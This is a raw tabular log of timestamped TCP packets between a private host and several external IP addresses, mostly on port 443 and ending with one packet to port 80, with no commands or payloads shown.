Nov 16, 2024 13:01:24.649348974 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.649373055 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.649405003 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.649569035 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.649586916 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.649616957 CET	49720	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.649629116 CET	443	49720	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.649653912 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.649858952 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.649900913 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.649934053 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.649955034 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.649967909 CET	49721	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.649975061 CET	443	49721	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.652915001 CET	49731	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.653001070 CET	443	49731	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.653028965 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.653053045 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.653083086 CET	49731	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.653104067 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.653218985 CET	49731	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.653230906 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.653245926 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.653254986 CET	443	49731	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.655000925 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.655143023 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.655193090 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.655225992 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.655234098 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.655249119 CET	49723	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.655253887 CET	443	49723	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.656563997 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.656619072 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.656685114 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.656706095 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.656742096 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.656763077 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.656788111 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.656812906 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.656836987 CET	49722	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.656848907 CET	443	49722	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.657206059 CET	443	49724	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.657223940 CET	443	49724	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.657268047 CET	443	49724	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.657280922 CET	49724	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.657310009 CET	49724	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.657346964 CET	49733	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.657372952 CET	443	49733	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.657440901 CET	49733	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.657526970 CET	49724	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.657526970 CET	49724	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.657551050 CET	443	49724	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.657572985 CET	443	49724	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.657672882 CET	49733	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.657701969 CET	443	49733	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.658967018 CET	49734	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.659002066 CET	443	49734	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.659066916 CET	49734	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.659184933 CET	49734	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.659200907 CET	443	49734	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.659744024 CET	49735	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.659764051 CET	443	49735	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.659828901 CET	49735	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.659974098 CET	49735	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:24.659998894 CET	443	49735	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:24.667079926 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.667306900 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:24.667330980 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.668781042 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.668852091 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:24.669903994 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:24.669995070 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.670063972 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:24.670077085 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.716474056 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:24.726620913 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:24.726671934 CET	443	49736	142.250.185.174	192.168.2.5
Nov 16, 2024 13:01:24.726758957 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:24.726978064 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:24.726994038 CET	443	49736	142.250.185.174	192.168.2.5
Nov 16, 2024 13:01:24.916554928 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.916688919 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.916779995 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.916779041 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:24.916810989 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.916874886 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:24.916903019 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.917057037 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.917120934 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:24.917139053 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.924829960 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.924906969 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:24.924922943 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:24.980153084 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.045826912 CET	443	49727	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:25.046180964 CET	49727	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:25.046197891 CET	443	49727	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:25.047159910 CET	443	49727	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:25.047225952 CET	49727	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:25.047523975 CET	49727	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:25.047580957 CET	443	49727	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:25.089385033 CET	49727	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:25.089409113 CET	443	49727	142.250.186.164	192.168.2.5
Nov 16, 2024 13:01:25.135658026 CET	49727	443	192.168.2.5	142.250.186.164
Nov 16, 2024 13:01:25.155101061 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.155534983 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.155608892 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.155637980 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.155669928 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.155729055 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.155762911 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.156353951 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.156409979 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.156439066 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.156539917 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.156591892 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.156608105 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.187777996 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.187884092 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.187977076 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.187983990 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.188060045 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.188102961 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.188169003 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.188225985 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.188242912 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.188339949 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.188417912 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.188432932 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.188555956 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.188611984 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.188626051 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.188719034 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.188776016 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.188790083 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.189273119 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.189332962 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.189333916 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.189347982 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.189397097 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.189409971 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.197758913 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.197841883 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.197855949 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.205230951 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.205449104 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.205465078 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.245861053 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.245923996 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.273824930 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.273907900 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.273930073 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.273960114 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.274014950 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.274056911 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.280571938 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.280630112 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.280661106 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.310040951 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.310219049 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.310282946 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.316474915 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.316551924 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.316570997 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.324084997 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.324153900 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.324168921 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.370774031 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.373955011 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.375897884 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.375924110 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.376405001 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.376411915 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.377305984 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.390048981 CET	443	49731	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.390539885 CET	49731	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.390625954 CET	443	49731	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.391273022 CET	49731	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.391288996 CET	443	49731	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.391371965 CET	443	49734	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.391664982 CET	49734	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.391674042 CET	443	49734	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.392115116 CET	49734	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.392122030 CET	443	49734	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.392210007 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.392266989 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.392299891 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.392527103 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.392587900 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.392604113 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.394186974 CET	443	49733	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.394635916 CET	49733	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.394670010 CET	443	49733	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.395035028 CET	49733	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.395045996 CET	443	49733	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.398962975 CET	443	49735	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.399389982 CET	49735	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.399421930 CET	443	49735	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.399878025 CET	49735	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.399894953 CET	443	49735	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.433290005 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.433309078 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.480150938 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.496932030 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:25.497129917 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:25.500225067 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:25.500256062 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:25.500689983 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:25.515074968 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.515305042 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.515363932 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.515590906 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.515613079 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.515625954 CET	49732	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.515633106 CET	443	49732	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.519876003 CET	443	49731	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.520133972 CET	443	49731	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.520199060 CET	49731	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.521245956 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.521292925 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.521356106 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.521626949 CET	49731	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.521626949 CET	49731	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.521672010 CET	443	49731	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.521701097 CET	443	49731	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.523540974 CET	443	49733	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.523699045 CET	443	49733	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.523760080 CET	49733	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.524476051 CET	49738	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.524496078 CET	443	49738	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.524647951 CET	49733	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.524648905 CET	49733	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.524693012 CET	443	49733	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.524722099 CET	443	49733	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.528028011 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.528058052 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.528122902 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.528269053 CET	49739	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.528286934 CET	443	49739	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.528961897 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.529051065 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.529124022 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.529409885 CET	49740	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.529459953 CET	443	49740	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.529716969 CET	443	49735	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.529843092 CET	443	49735	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.529898882 CET	49735	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.530055046 CET	49735	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.530071974 CET	443	49735	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.530096054 CET	49735	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.530109882 CET	443	49735	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.532927036 CET	443	49734	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.533066988 CET	443	49734	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.533114910 CET	49734	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.533416986 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.533520937 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.533592939 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.533667088 CET	49734	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.533679962 CET	443	49734	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.533693075 CET	49734	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.533698082 CET	443	49734	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.534018040 CET	49741	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.534058094 CET	443	49741	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.536649942 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.536673069 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.536737919 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.537106991 CET	49742	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:25.537136078 CET	443	49742	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:25.542628050 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:25.543821096 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.543955088 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.544013977 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.544034958 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.544135094 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.544193983 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.544209003 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.544300079 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.544348001 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.544363022 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.544475079 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.544528008 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.544542074 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.545175076 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.545228004 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.545242071 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.545330048 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.545382977 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.545397043 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.545978069 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.546037912 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.546051025 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.546147108 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.546199083 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.546211958 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.552057981 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 13:01:25.554452896 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.554528952 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.554548979 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.561528921 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.561592102 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.561609030 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.592514038 CET	443	49736	142.250.185.174	192.168.2.5
Nov 16, 2024 13:01:25.592813969 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:25.592829943 CET	443	49736	142.250.185.174	192.168.2.5
Nov 16, 2024 13:01:25.593205929 CET	443	49736	142.250.185.174	192.168.2.5
Nov 16, 2024 13:01:25.593282938 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:25.593920946 CET	443	49736	142.250.185.174	192.168.2.5
Nov 16, 2024 13:01:25.593970060 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:25.595006943 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:25.595072031 CET	443	49736	142.250.185.174	192.168.2.5
Nov 16, 2024 13:01:25.595218897 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:25.595227957 CET	443	49736	142.250.185.174	192.168.2.5
Nov 16, 2024 13:01:25.595253944 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:25.599343061 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 13:01:25.605140924 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.614590883 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.629626989 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.629697084 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.629719973 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.635351896 CET	443	49736	142.250.185.174	192.168.2.5
Nov 16, 2024 13:01:25.636460066 CET	49736	443	192.168.2.5	142.250.185.174
Nov 16, 2024 13:01:25.637459040 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.637518883 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.637540102 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.662302017 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.662360907 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.662393093 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.680068970 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.680131912 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.680155039 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.680324078 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.680377007 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.680392027 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.680548906 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.680614948 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.681298018 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.681334019 CET	443	49726	142.250.186.142	192.168.2.5
Nov 16, 2024 13:01:25.681374073 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.681396961 CET	49726	443	192.168.2.5	142.250.186.142
Nov 16, 2024 13:01:25.703736067 CET	49704	80	192.168.2.5	185.215.113.206
